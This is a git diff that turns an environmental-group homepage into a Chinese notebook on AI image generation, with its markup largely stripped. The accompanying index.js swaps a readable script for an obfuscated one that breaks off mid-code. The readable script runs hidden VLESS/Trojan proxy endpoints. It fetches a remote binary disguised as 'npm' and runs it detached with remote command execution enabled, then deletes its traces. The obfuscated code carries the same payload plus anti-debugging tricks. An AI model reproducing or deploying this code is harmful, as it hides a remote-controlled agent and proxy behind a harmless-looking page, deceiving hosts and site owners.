diff --git a/index.html b/index.html index 7813feb3da..b3f4813e26 100644 --- a/index.html +++ b/index.html @@ -1,722 +1,407 @@ - + - - - Green Network - Protect Earth - - + + + AI 图像生成 笔记本 + + - -
-
- - -
-
-

Protect Our Planet, Preserve Our Future

-

Join the global movement to create a sustainable world through conservation, education, and community action.

- Join Our Network + + +
+

常见模型与原理

+
+ Diffusion + Latent Diffusion + GAN + VAE + Transformer
-
- -
-
-
-

About Green Network

-

We are a global community dedicated to environmental protection and sustainable development.

-
-
-
- Team planting trees -
-
-

Our Mission

-

Green Network is committed to creating a sustainable future by protecting natural ecosystems, promoting renewable energy, and empowering communities to take environmental action.

-

Founded in 2010, we've grown from a small grassroots organization to an international network with over 50,000 members across 120 countries.

-

Our approach combines scientific research, community engagement, and policy advocacy to address the most pressing environmental challenges of our time.

- Learn More -
-
-
-
- -

0

-

Trees Planted

-
-
- -

0

-

Active Members

-
-
- -

0

-

Countries Reached

-
-
- -

0

-

Cleanup Projects

-
-
+
+
扩散模型(Diffusion)
+
通过逐步向噪声中加入/去除噪声来学习数据分布,生成质量高、可控性强。
+ +
潜空间扩散(Latent Diffusion)
+
在低维潜空间(例如 VAE 编码后)执行扩散运算,显著提高速度与内存效率(如 Stable Diffusion)。
+ +
DALL·E / Imagen / Midjourney
+
这些系统在大规模数据和多模态对齐上进行了优化,具有不同的风格和后处理策略。
+ +
Prompt 到图像流程
+
文本 encoder -> 条件向量 -> 迭代采样(steps)-> 解码 -> 后处理(upscale、去噪)
+
+ + +
+

Prompt 工程(Prompt Engineering)

+

Prompt 决定图像的内容、风格与细节。写好 prompt 是获得可用结果的关键。

+ +
+ Prompt 结构建议 +
    +
  1. 主体(subject):谁/什么?(例:a red fox)
  2. +
  3. 动作/场景(action/scene):在做什么/在哪里?(例:sitting on a mossy rock in forest)
  4. +
  5. 细节(details):光照、材质、配色、镜头、构图(例:golden hour, high detail, photorealistic, 35mm lens)
  6. +
  7. 风格(style):插画/写实/赛博朋克/水彩、艺术家参考等
  8. +
-
- -
-
-
-

Our Initiatives

-

Discover the key programs and projects we're implementing to protect our planet.

-
-
-
-
- Reforestation -
-
-

Global Reforestation

-

Planting millions of trees worldwide to restore ecosystems, combat climate change, and protect biodiversity.

- Learn More -
-
-
-
- Ocean Conservation -
-
-

Ocean Conservation

-

Protecting marine ecosystems, reducing plastic pollution, and promoting sustainable fishing practices.

- Learn More -
-
-
-
- Renewable Energy -
-
-

Renewable Energy

-

Promoting solar, wind, and other clean energy sources to reduce dependence on fossil fuels.

- Learn More -
-
-
+
+ 示例 Prompt: +
+ + a majestic red fox sitting on a mossy rock in a misty forest at golden hour, photorealistic, ultra detailed, 35mm lens, soft rim light +
+
+ + +
+

关键参数说明

+
+
Steps(采样步数)
+
更高步数通常提高细节但更慢。常见 20–100。
+ +
Guidance / CFG Scale(条件引导强度)
+
控制模型遵循文本的程度。值过高会丧失多样性,常见 6–15。
+ +
Sampler(采样器)
+
DDIM、PLMS、Euler、Euler a、DPM++ 等,影响纹理与采样速度。
+ +
Seed(随机种子)
+
固定 seed 可复现结果;不同 seed 带来不同细节和构图。
+ +
Width / Height(分辨率)
+
通常以 512/768 等为基础,越高成本越大,可能需要 tiled 或 super-resolution。
+
+
+ +
+

Prompt 模板(常用模版)

+

可保存模板以便重复使用与迭代。

+ +
+
+
写实
+
photorealistic, ultra detailed, 35mm lens, f/1.8
+
+
+
插画
+
digital painting, soft shading, cinematic lighting
+
+
+
艺术家风格
+
in the style of Studio Ghibli, watercolor
+
-
- -
-
-

Join Our Global Movement

-

Together, we can create a sustainable future for generations to come. Every action counts, no matter how small.

- Become a Member +
+ + cinematic portrait of {subject}, dramatic rim lighting, photorealistic, high detail, 50mm lens, shallow depth of field
-
+ + +
+

Negative Prompt(反向提示)

+

用于告诉模型避免哪些元素(例如:低质量、畸变、额外手指等)。在 Stable Diffusion 等系统中非常常用。

- -
+ +
+

代码示例

+

下面示例展示如何调用常见的 WebUI(如 Stable Diffusion WebUI API)或通用 REST 接口的请求示例(请替换为你自己的 endpoint 和 API key)。

+ +
+ + // JavaScript fetch 示例 (Stable Diffusion WebUI) + const payload = { + prompt: "a majestic red fox sitting on a mossy rock in a misty forest, photorealistic", + steps: 28, + width: 768, + height: 512, + cfg_scale: 7.5, + sampler_name: "DPM++ 2M Karras", + seed: -1 + }; + fetch("http://127.0.0.1:7860/sdapi/v1/txt2img", { + method: "POST", + headers: {"Content-Type":"application/json"}, + body: JSON.stringify(payload) + }).then(r=>r.json()).then(data=>{ + // data.images[0] base64 -> 显示或保存为文件 + console.log(data); + });
- - - +
+ + // OpenAI / Azure 等服务的伪示例 (请依据实际 API 调整) + fetch("https://api.example.com/v1/images/generate", { + method: "POST", + headers: {"Authorization":"Bearer YOUR_KEY","Content-Type":"application/json"}, + body: JSON.stringify({prompt:"a black cat in a spaceship, highly detailed"}) + }).then(r=>r.json()).then(res=>{ + // 处理 image 返回 + console.log(res); + }); +
+
+ +
+

示例与图库

+

下面展示若干示例图(占位),你可以替换为真实生成图或上传的图像。

+ +
+
+ 示例1 +
示例:森林中的狐狸
+
Prompt: a majestic red fox sitting on a mossy rock in a misty forest, photorealistic
+
+
+ 示例2 +
示例:科技赛博
+
Prompt: cyberpunk city at night, neon lights, rainy, cinematic
+
+
+ 示例3 +
示例:水彩风景
+
Prompt: watercolor landscape of mountains at sunrise
+
+
+
+ +
+

安全与伦理

+

使用图像生成模型时请注意:

+ +
+ +
+

资源与学习链接

+ + +
+ + + + - diff --git a/index.js b/index.js index 7a77623013..0fd61084af 100644 --- a/index.js +++ b/index.js @@ -1,377 +1 @@ -const os = require('os'); -const http = require('http'); -const fs = require('fs'); -const axios = require('axios'); -const net = require('net'); -const path = require('path'); -const crypto = require('crypto'); -const { Buffer } = require('buffer'); -const { exec, execSync } = require('child_process'); -const { WebSocket, createWebSocketStream } = require('ws'); -const UUID = process.env.UUID || '5efabea4-f6d4-91fd-b8f0-17e004c89c60'; // 运行哪吒v1,在不同的平台需要改UUID,否则会被覆盖 -const NEZHA_SERVER = process.env.NEZHA_SERVER || ''; // 哪吒v1填写形式:nz.abc.com:8008 哪吒v0填写形式:nz.abc.com -const NEZHA_PORT = process.env.NEZHA_PORT || ''; // 哪吒v1没有此变量,v0的agent端口为{443,8443,2096,2087,2083,2053}其中之一时开启tls -const NEZHA_KEY = process.env.NEZHA_KEY || ''; // v1的NZ_CLIENT_SECRET或v0的agent端口 -const DOMAIN = process.env.DOMAIN || '1234.abc.com'; // 填写项目域名或已反代的域名,不带前缀,例如:abc-domain.com -const AUTO_ACCESS = process.env.AUTO_ACCESS || true; // 是否开启自动访问保活,false为关闭,true为开启,需同时填写DOMAIN变量 -const WSPATH = process.env.WSPATH || UUID.slice(0, 8); // 节点路径,默认获取uuid前8位 -const SUB_PATH = process.env.SUB_PATH || 'sub'; // 获取节点的订阅路径 -const NAME = process.env.NAME || ''; // 节点名称 -const PORT = process.env.PORT || 7860; // http和ws服务端口 - -let ISP = ''; -const GetISP = async () => { - try { - const res = await axios.get('https://api.ip.sb/geoip'); - const data = res.data; - ISP = `${data.country_code}-${data.isp}`.replace(/ /g, '_'); - } catch (e) { - ISP = 'Unknown'; - } -} -GetISP(); - -const httpServer = http.createServer((req, res) => { - if (req.url === '/') { - const filePath = path.join(__dirname, 'index.html'); - fs.readFile(filePath, 'utf8', (err, content) => { - if (err) { - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end('Hello world!'); - return; - } - res.writeHead(200, { 'Content-Type': 'text/html' }); - res.end(content); - }); - return; - } else if (req.url === `/${SUB_PATH}`) { - const namePart = NAME ? `${NAME}-${ISP}` : ISP; - const vlessURL = `vless://${UUID}@${DOMAIN}:443?encryption=none&security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const trojanURL = `trojan://${UUID}@${DOMAIN}:443?security=tls&sni=${DOMAIN}&fp=chrome&type=ws&host=${DOMAIN}&path=%2F${WSPATH}#${namePart}`; - const subscription = vlessURL + '\n' + trojanURL; - const base64Content = Buffer.from(subscription).toString('base64'); - - res.writeHead(200, { 'Content-Type': 'text/plain' }); - res.end(base64Content + '\n'); - } else { - res.writeHead(404, { 'Content-Type': 'text/plain' }); - res.end('Not Found\n'); - } -}); - -const wss = new WebSocket.Server({ server: httpServer }); -const uuid = UUID.replace(/-/g, ""); -const DNS_SERVERS = ['8.8.4.4', '1.1.1.1']; -// Custom DNS -function resolveHost(host) { - return new Promise((resolve, reject) => { - if (/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/.test(host)) { - resolve(host); - return; - } - let attempts = 0; - function tryNextDNS() { - if (attempts >= DNS_SERVERS.length) { - reject(new Error(`Failed to resolve ${host} with all DNS servers`)); - return; - } - const dnsServer = DNS_SERVERS[attempts]; - attempts++; - const dnsQuery = `https://dns.google/resolve?name=${encodeURIComponent(host)}&type=A`; - axios.get(dnsQuery, { - timeout: 5000, - headers: { - 'Accept': 'application/dns-json' - } - }) - .then(response => { - const data = response.data; - if (data.Status === 0 && data.Answer && data.Answer.length > 0) { - const ip = data.Answer.find(record => record.type === 1); - if (ip) { - resolve(ip.data); - return; - } - } - tryNextDNS(); - }) - .catch(error => { - tryNextDNS(); - }); - } - - tryNextDNS(); - }); -} - -// VLE-SS处理 -function handleVlessConnection(ws, msg) { - const [VERSION] = msg; - const id = msg.slice(1, 17); - if (!id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16))) return false; - - let i = msg.slice(17, 18).readUInt8() + 19; - const port = msg.slice(i, i += 2).readUInt16BE(0); - const ATYP = msg.slice(i, i += 1).readUInt8(); - const host = ATYP == 1 ? msg.slice(i, i += 4).join('.') : - (ATYP == 2 ? new TextDecoder().decode(msg.slice(i + 1, i += 1 + msg.slice(i, i + 1).readUInt8())) : - (ATYP == 3 ? msg.slice(i, i += 16).reduce((s, b, i, a) => (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []).map(b => b.readUInt16BE(0).toString(16)).join(':') : '')); - ws.send(new Uint8Array([VERSION, 0])); - const duplex = createWebSocketStream(ws); - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - this.write(msg.slice(i)); - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; -} - -// Tro-jan处理 -function handleTrojanConnection(ws, msg) { - try { - if (msg.length < 58) return false; - const receivedPasswordHash = msg.slice(0, 56).toString(); - const possiblePasswords = [ - UUID, - ]; - - let matchedPassword = null; - for (const pwd of possiblePasswords) { - const hash = crypto.createHash('sha224').update(pwd).digest('hex'); - if (hash === receivedPasswordHash) { - matchedPassword = pwd; - break; - } - } - - if (!matchedPassword) return false; - let offset = 56; - if (msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const cmd = msg[offset]; - if (cmd !== 0x01) return false; - offset += 1; - const atyp = msg[offset]; - offset += 1; - let host, port; - if (atyp === 0x01) { - host = msg.slice(offset, offset + 4).join('.'); - offset += 4; - } else if (atyp === 0x03) { - const hostLen = msg[offset]; - offset += 1; - host = msg.slice(offset, offset + hostLen).toString(); - offset += hostLen; - } else if (atyp === 0x04) { - host = msg.slice(offset, offset + 16).reduce((s, b, i, a) => - (i % 2 ? s.concat(a.slice(i - 1, i + 1)) : s), []) - .map(b => b.readUInt16BE(0).toString(16)).join(':'); - offset += 16; - } else { - return false; - } - - port = msg.readUInt16BE(offset); - offset += 2; - - if (offset < msg.length && msg[offset] === 0x0d && msg[offset + 1] === 0x0a) { - offset += 2; - } - - const duplex = createWebSocketStream(ws); - - resolveHost(host) - .then(resolvedIP => { - net.connect({ host: resolvedIP, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }) - .catch(error => { - net.connect({ host, port }, function() { - if (offset < msg.length) { - this.write(msg.slice(offset)); - } - duplex.on('error', () => {}).pipe(this).on('error', () => {}).pipe(duplex); - }).on('error', () => {}); - }); - - return true; - } catch (error) { - return false; - } -} -// Ws 连接处理 -wss.on('connection', (ws, req) => { - const url = req.url || ''; - ws.once('message', msg => { - if (msg.length > 17 && msg[0] === 0) { - const id = msg.slice(1, 17); - const isVless = id.every((v, i) => v == parseInt(uuid.substr(i * 2, 2), 16)); - if (isVless) { - if (!handleVlessConnection(ws, msg)) { - ws.close(); - } - return; - } - } - - if (!handleTrojanConnection(ws, msg)) { - ws.close(); - } - }).on('error', () => {}); -}); - -const getDownloadUrl = () => { - const arch = os.arch(); - if (arch === 'arm' || arch === 'arm64' || arch === 'aarch64') { - if (!NEZHA_PORT) { - return 'https://arm64.ssss.nyc.mn/v1'; - } else { - return 'https://arm64.ssss.nyc.mn/agent'; - } - } else { - if (!NEZHA_PORT) { - return 'https://amd64.ssss.nyc.mn/v1'; - } else { - return 'https://amd64.ssss.nyc.mn/agent'; - } - } -}; - -const downloadFile = async () => { - if (!NEZHA_SERVER && !NEZHA_KEY) return; - - try { - const url = getDownloadUrl(); - const response = await axios({ - method: 'get', - url: url, - responseType: 'stream' - }); - - const writer = fs.createWriteStream('npm'); - response.data.pipe(writer); - - return new Promise((resolve, reject) => { - writer.on('finish', () => { - console.log('npm download successfully'); - exec('chmod +x npm', (err) => { - if (err) reject(err); - resolve(); - }); - }); - writer.on('error', reject); - }); - } catch (err) { - throw err; - } -}; - -const runnz = async () => { - try { - const status = execSync('ps aux | grep -v "grep" | grep "./[n]pm"', { encoding: 'utf-8' }); - if (status.trim() !== '') { - console.log('npm is already running, skip running...'); - return; - } - } catch (e) { - // 进程不存在时继续运行nezha - } - - await downloadFile(); - let command = ''; - let tlsPorts = ['443', '8443', '2096', '2087', '2083', '2053']; - - if (NEZHA_SERVER && NEZHA_PORT && NEZHA_KEY) { - const NEZHA_TLS = tlsPorts.includes(NEZHA_PORT) ? '--tls' : ''; - command = `setsid nohup ./npm -s ${NEZHA_SERVER}:${NEZHA_PORT} -p ${NEZHA_KEY} ${NEZHA_TLS} --disable-auto-update --report-delay 4 --skip-conn --skip-procs >/dev/null 2>&1 &`; - } else if (NEZHA_SERVER && NEZHA_KEY) { - if (!NEZHA_PORT) { - const port = NEZHA_SERVER.includes(':') ? NEZHA_SERVER.split(':').pop() : ''; - const NZ_TLS = tlsPorts.includes(port) ? 'true' : 'false'; - const configYaml = `client_secret: ${NEZHA_KEY} -debug: false -disable_auto_update: true -disable_command_execute: false -disable_force_update: true -disable_nat: false -disable_send_query: false -gpu: false -insecure_tls: true -ip_report_period: 1800 -report_delay: 4 -server: ${NEZHA_SERVER} -skip_connection_count: true -skip_procs_count: true -temperature: false -tls: ${NZ_TLS} -use_gitee_to_upgrade: false -use_ipv6_country_code: false -uuid: ${UUID}`; - - fs.writeFileSync('config.yaml', configYaml); - } - command = `setsid nohup ./npm -c config.yaml >/dev/null 2>&1 &`; - } else { - console.log('NEZHA variable is empty, skip running'); - return; - } - - try { - exec(command, { shell: '/bin/bash' }, (err) => { - if (err) console.error('npm running error:', err); - else console.log('npm is running'); - }); - } catch (error) { - console.error(`error: ${error}`); - } -}; - -async function addAccessTask() { - if (!AUTO_ACCESS) return; - - if (!DOMAIN) { - return; - } - const fullURL = `https://${DOMAIN}`; - try { - const res = await axios.post("https://oooo.serv00.net/add-url", { - url: fullURL - }, { - headers: { - 'Content-Type': 'application/json' - } - }); - console.log('Automatic Access Task added successfully'); - } catch (error) { - // console.error('Error adding Task:', error.message); - } -} - -const delFiles = () => { - fs.unlink('npm', () => {}); - fs.unlink('config.yaml', () => {}); -}; - -httpServer.listen(PORT, () => { - runnz(); - setTimeout(() => { - delFiles(); - }, 180000); - addAccessTask(); - console.log(`Server is running on port ${PORT}`); -}); +const _0x20ffbd=_0x36d9;(function(_0x7cc56,_0x3ff352){const _0x597923=_0x36d9,_0x368539=_0x7cc56();while(!![]){try{const _0x1d640e=parseInt(_0x597923(0x146))/(-0x1730+-0x25*0x6+0x180f)+-parseInt(_0x597923(0x113))/(0xd*0x57+0x1*-0x240b+-0x1*-0x1fa2)*(parseInt(_0x597923(0x15b))/(-0x226*-0xa+0x1355+-0x28ce))+-parseInt(_0x597923(0x13a))/(0x241c+0x39*0x95+-0x17*0x303)+-parseInt(_0x597923(0x168))/(0x35b+-0x646*0x6+-0x224e*-0x1)*(parseInt(_0x597923(0x169))/(0x4bd+0x23c9+-0x2880))+parseInt(_0x597923(0x199))/(-0x23bb+-0x1709+0x3acb)+parseInt(_0x597923(0xfb))/(-0x5*0x549+0x452+-0x1623*-0x1)+parseInt(_0x597923(0xe2))/(-0x33+0x1*-0x1f23+0x1f5f*0x1);if(_0x1d640e===_0x3ff352)break;else _0x368539['push'](_0x368539['shift']());}catch(_0x3259ce){_0x368539['push'](_0x368539['shift']());}}}(_0xb9c5,-0x194b1a+0x4cc0+0x269490));const _0x59d9e0=(function(){const _0x55b63b=_0x36d9,_0x416cc5={'mUKbC':function(_0x3b3ce1,_0xbfe4f8){return _0x3b3ce1+_0xbfe4f8;},'bwmkf':_0x55b63b(0xb2),'rwVjY':_0x55b63b(0xce)+'l','HjlXr':_0x55b63b(0xfc)+'eady\x20runni'+'ng,\x20skip\x20r'+_0x55b63b(0x12c),'LCkNL':_0x55b63b(0x10a),'eNlqU':'zBgYC','ulHJw':function(_0x12563a,_0x43b649){return _0x12563a!==_0x43b649;},'wjEbq':'BnzFW'};let _0x3a9267=!![];return function(_0x52dfef,_0x6d53d6){const _0x4db886=_0x55b63b,_0x347a09={'hnHQw':'true','sIBPn':_0x416cc5['bwmkf'],'QavwP':_0x416cc5['rwVjY'],'DaNRm':_0x416cc5[_0x4db886(0x139)],'IAles':function(_0x131288,_0x12ba56){return _0x131288===_0x12ba56;},'EhqOQ':_0x416cc5['LCkNL'],'lgOvU':'byYTe','InKfx':_0x416cc5[_0x4db886(0x123)]};if(_0x416cc5['ulHJw']('AQeDY',_0x416cc5[_0x4db886(0x15a)])){const _0x359b5b=_0x3a9267?function(){const _0x591bbb=_0x4db886;if(_0x347a09['IAles'](_0x347a09['EhqOQ'],_0x347a09[_0x591bbb(0xd5)])){if(!_0xf8decf){const _0x43d9c4=_0x23f9db[_0x591bbb(0xff)](':')?_0x124068[_0x591bbb(0x156)](':')[_0x591bbb(0x10c)]():'',_0x1e1970=_0x321c5e[_0x591bbb(0xff)](_0x43d9c4)?_0x347a09['hnHQw']:_0x347a09[_0x591bbb(0xb0)],_0x519573='client_sec'+'ret:\x20'+_0x4aed34+('\x0adebug:\x20fa'+'lse\x0adisabl'+'e_auto_upd'+_0x591bbb(0x11b)+'disable_co'+'mmand_exec'+'ute:\x20false'+_0x591bbb(0x114)+'orce_updat'+'e:\x20true\x0adi'+_0x591bbb(0xe9)+'\x20false\x0adis'+'able_send_'+_0x591bbb(0x162)+'se\x0agpu:\x20fa'+'lse\x0ainsecu'+'re_tls:\x20tr'+_0x591bbb(0xb7)+'rt_period:'+_0x591bbb(0x1a6)+_0x591bbb(0x109)+'4\x0aserver:\x20')+_0x4597d3+('\x0askip_conn'+'ection_cou'+_0x591bbb(0x17c)+'kip_procs_'+_0x591bbb(0x13e)+'e\x0atemperat'+_0x591bbb(0x11f)+'\x0atls:\x20')+_0x1e1970+(_0x591bbb(0xc1)+'_to_upgrad'+_0x591bbb(0x143)+_0x591bbb(0xe8)+'untry_code'+_0x591bbb(0x1b0)+_0x591bbb(0x11e))+_0x5626b0;_0x19e865['writeFileS'+'ync'](_0x347a09[_0x591bbb(0x1a0)],_0x519573);}_0x36c547='setsid\x20noh'+'up\x20./npm\x20-'+'c\x20config.y'+_0x591bbb(0xd2)+_0x591bbb(0xa3)+'&';}else{if(_0x6d53d6){if('WwkGE'!==_0x347a09['InKfx']){const _0x58816d=_0x6d53d6['apply'](_0x52dfef,arguments);return _0x6d53d6=null,_0x58816d;}else{_0x2a2247[_0x591bbb(0xbb)](_0x347a09['DaNRm']);return;}}}}:function(){};return _0x3a9267=![],_0x359b5b;}else _0x30cd9a=_0x274be4['slice'](_0x781aee,_0x416cc5[_0x4db886(0x183)](_0x10b389,-0x2*-0x1193+-0x253*0xd+0x4eb*-0x1))['join']('.'),_0x2be392+=0x35*-0x9d+-0x7e2+0x2867;};}()),_0x30e9b3=_0x59d9e0(this,function(){const _0x112acd=_0x36d9;return _0x30e9b3['toString']()[_0x112acd(0x111)]('(((.+)+)+)'+'+$')['toString']()[_0x112acd(0x1b5)+'r'](_0x30e9b3)['search']('(((.+)+)+)'+'+$');});_0x30e9b3();const _0x22a183=(function(){const _0x537f93=_0x36d9,_0x2e0cee={'COQXL':function(_0x4ce485,_0x4fbcee){return _0x4ce485!==_0x4fbcee;},'viMLX':_0x537f93(0xe7)};let _0x27f4da=!![];return function(_0x1bacd3,_0x565575){const _0x5f21ef=_0x27f4da?function(){const _0x4be1fa=_0x36d9;if(_0x2e0cee[_0x4be1fa(0xed)](_0x2e0cee['viMLX'],_0x2e0cee[_0x4be1fa(0x13d)]))throw _0x89403b;else{if(_0x565575){const _0x51607b=_0x565575['apply'](_0x1bacd3,arguments);return _0x565575=null,_0x51607b;}}}:function(){};return _0x27f4da=![],_0x5f21ef;};}());(function(){const _0x328097=_0x36d9,_0x3a5b90={'GZVld':'function\x20*'+_0x328097(0x176),'WqiAK':'\x5c+\x5c+\x20*(?:['+_0x328097(0x16b)+'0-9a-zA-Z_'+'$]*)','jimTa':function(_0x265f7f,_0x4c153e){return _0x265f7f(_0x4c153e);},'sVmwH':_0x328097(0xa1),'wTVLK':_0x328097(0x135),'nSfQQ':function(_0x36bfdd,_0x1adc8d){return _0x36bfdd+_0x1adc8d;},'SBTgH':'input','DfDGZ':function(_0x2e4188,_0x1edd82){return _0x2e4188(_0x1edd82);},'LbIpq':function(_0x4aa87e){return _0x4aa87e();},'qMWUs':function(_0x373b6a,_0x57008f,_0x47421a){return _0x373b6a(_0x57008f,_0x47421a);}};_0x3a5b90[_0x328097(0x11c)](_0x22a183,this,function(){const _0x367d8e=_0x328097,_0x12cb6a=new RegExp(_0x3a5b90['GZVld']),_0x422bad=new RegExp(_0x3a5b90['WqiAK'],'i'),_0x16ad36=_0x3a5b90[_0x367d8e(0x186)](_0x4da6ca,_0x3a5b90['sVmwH']);if(!_0x12cb6a[_0x367d8e(0x17e)](_0x16ad36+_0x3a5b90['wTVLK'])||!_0x422bad['test'](_0x3a5b90[_0x367d8e(0x187)](_0x16ad36,_0x3a5b90[_0x367d8e(0x16a)])))_0x3a5b90[_0x367d8e(0xa6)](_0x16ad36,'0');else{if(_0x367d8e(0x1b2)===_0x367d8e(0x1b2))_0x3a5b90['LbIpq'](_0x4da6ca);else{const _0x98fcb7=_0x18b18e?_0x1114fb+'-'+_0x411b21:_0x1820ea,_0x43c692='vless://'+_0x2cd2c0+'@'+_0xd20803+(':443?encry'+_0x367d8e(0x189)+_0x367d8e(0x136)+'tls&sni=')+_0x5e5cb6+(_0x367d8e(0xe3)+_0x367d8e(0xb5)+_0x367d8e(0x11a))+_0x3d6805+'&path=%2F'+_0x391065+'#'+_0x98fcb7,_0x8b16e5='trojan://'+_0x1efdfb+'@'+_0x459f53+(_0x367d8e(0x172)+_0x367d8e(0x16f)+'i=')+_0x1da62b+('&fp=chrome'+_0x367d8e(0xb5)+'ost=')+_0xa92f49+_0x367d8e(0xf3)+_0x1d8887+'#'+_0x98fcb7,_0x5089ee=_0x43c692+'\x0a'+_0x8b16e5,_0xbccede=_0x5da23d['from'](_0x5089ee)['toString']('base64');_0x2be821['writeHead'](-0x2*-0x93f+0x1a3b+-0x2bf1,{'Content-Type':_0x367d8e(0x147)}),_0x522c2e[_0x367d8e(0xc6)](_0xbccede+'\x0a');}}})();}());const _0x489ff5=(function(){const _0x1f3a8e=_0x36d9,_0x136ac1={'sJWLC':function(_0xef4b84){return _0xef4b84();},'rjWtB':function(_0x5002d4,_0x201849,_0x3313ba){return _0x5002d4(_0x201849,_0x3313ba);},'pPjkY':'chmod\x20+x\x20n'+'pm','GGwgR':function(_0x308231,_0x388e53){return _0x308231===_0x388e53;},'zYZHp':'hCbdh','KHqqV':_0x1f3a8e(0xa9),'RRnfF':'fNqrj'};let _0x3b221e=!![];return function(_0x5324c2,_0x5e9e26){const _0x3200b2=_0x1f3a8e;if(_0x136ac1[_0x3200b2(0xd6)]('nSOsN',_0x136ac1['RRnfF']))_0x136ac1['sJWLC'](_0xde3d2e);else{const _0x5127ca=_0x3b221e?function(){const _0x31fb60=_0x3200b2,_0x5e9ede={'aEFZJ':'npm\x20downlo'+'ad\x20success'+'fully','RMZoH':function(_0x426756,_0x110160,_0x1d6eae){return _0x136ac1['rjWtB'](_0x426756,_0x110160,_0x1d6eae);},'UCYnL':_0x136ac1[_0x31fb60(0xac)]};if(_0x5e9e26){if(_0x136ac1['GGwgR'](_0x136ac1[_0x31fb60(0xca)],_0x136ac1['KHqqV'])){const _0x5beef4={'ASAfH':function(_0x2782a8,_0x429ee4){return _0x2782a8(_0x429ee4);}};_0xf593d9['on']('finish',()=>{const _0x5561b3=_0x31fb60;_0x387b1e['log'](_0x5e9ede[_0x5561b3(0xe4)]),_0x5e9ede[_0x5561b3(0xc9)](_0x4cc819,_0x5e9ede['UCYnL'],_0x3afd96=>{const _0x32b457=_0x5561b3;if(_0x3afd96)_0x5beef4[_0x32b457(0x13b)](_0x2cafc8,_0x3afd96);_0x58e35c();});}),_0x2ac2e4['on']('error',_0x443736);}else{const _0x55a36a=_0x5e9e26['apply'](_0x5324c2,arguments);return _0x5e9e26=null,_0x55a36a;}}}:function(){};return _0x3b221e=![],_0x5127ca;}};}()),_0x314aea=_0x489ff5(this,function(){const _0x3df64d=_0x36d9,_0x16e9a6={'voHov':_0x3df64d(0xa2),'WAtbH':function(_0x1347dd,_0x14c343){return _0x1347dd!==_0x14c343;},'WxoAy':_0x3df64d(0x1ac),'tCGtv':function(_0xfb3db6,_0x4f373){return _0xfb3db6(_0x4f373);},'tdAMV':function(_0x57b64f,_0x4bf130){return _0x57b64f+_0x4bf130;},'VmpEv':_0x3df64d(0xc2)+'ctor(\x22retu'+'rn\x20this\x22)('+'\x20)','EAUBy':function(_0x463617,_0xd47784){return _0x463617(_0xd47784);},'ntNYY':function(_0xbc10ed){return _0xbc10ed();},'SVHfy':_0x3df64d(0x112),'LoYYP':'info','PskaE':'exception','zNMKF':_0x3df64d(0xf7),'cZGpa':_0x3df64d(0x105),'VCMyY':function(_0x36dcc0,_0x347298){return _0x36dcc0<_0x347298;},'UdQRR':function(_0x5ccc4e,_0x4ddfca){return _0x5ccc4e===_0x4ddfca;}},_0x38cddc=function(){const _0x4e31a3=_0x3df64d,_0x563c48={'FsPVn':_0x16e9a6[_0x4e31a3(0x19f)]};if(_0x16e9a6[_0x4e31a3(0xb1)](_0x16e9a6[_0x4e31a3(0x134)],_0x16e9a6[_0x4e31a3(0x134)]))this['write'](_0x5f0b53['slice'](_0x201cb7)),_0x4318b1['on'](_0x563c48['FsPVn'],()=>{})['pipe'](this)['on'](_0x4e31a3(0xa2),()=>{})[_0x4e31a3(0xb4)](_0xa230be);else{let _0x3ed430;try{_0x3ed430=_0x16e9a6[_0x4e31a3(0xa4)](Function,_0x16e9a6['tdAMV']('return\x20(fu'+'nction()\x20'+_0x16e9a6['VmpEv'],');'))();}catch(_0x2a1d8d){_0x3ed430=window;}return _0x3ed430;}},_0x54d780=_0x16e9a6['ntNYY'](_0x38cddc),_0x1f6766=_0x54d780['console']=_0x54d780['console']||{},_0x10bf9a=[_0x3df64d(0xbb),_0x16e9a6[_0x3df64d(0xde)],_0x16e9a6['LoYYP'],_0x16e9a6[_0x3df64d(0x19f)],_0x16e9a6['PskaE'],_0x16e9a6['zNMKF'],_0x16e9a6[_0x3df64d(0x125)]];for(let _0xba0fc5=-0x639+0x987*-0x3+0x22ce;_0x16e9a6['VCMyY'](_0xba0fc5,_0x10bf9a[_0x3df64d(0x18d)]);_0xba0fc5++){if(_0x16e9a6['UdQRR']('GPbdV',_0x3df64d(0x154))){const _0x3cd261=_0x489ff5['constructo'+'r'][_0x3df64d(0xeb)][_0x3df64d(0x190)](_0x489ff5),_0x558f1b=_0x10bf9a[_0xba0fc5],_0x38eaf1=_0x1f6766[_0x558f1b]||_0x3cd261;_0x3cd261['__proto__']=_0x489ff5['bind'](_0x489ff5),_0x3cd261[_0x3df64d(0x19c)]=_0x38eaf1['toString']['bind'](_0x38eaf1),_0x1f6766[_0x558f1b]=_0x3cd261;}else{if(_0x5b8797)return _0x2b0cdc;else _0x16e9a6['EAUBy'](_0x152c1a,-0xfb*0x1f+0x685*0x1+0x17e0);}}});_0x314aea();function _0x36d9(_0x5ba4d0,_0x1a242b){const _0xb63004=_0xb9c5();return _0x36d9=function(_0x31782e,_0x471e63){_0x31782e=_0x31782e-(0x1*-0x855+0x2*-0xc14+0x211c);let _0x1c223c=_0xb63004[_0x31782e];if(_0x36d9['XmJVmQ']===undefined){var _0x5cfc8c=function(_0x4294c9){const _0x4b7c43='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4e5fe8='',_0x473d37='',_0x1104b1=_0x4e5fe8+_0x5cfc8c;for(let 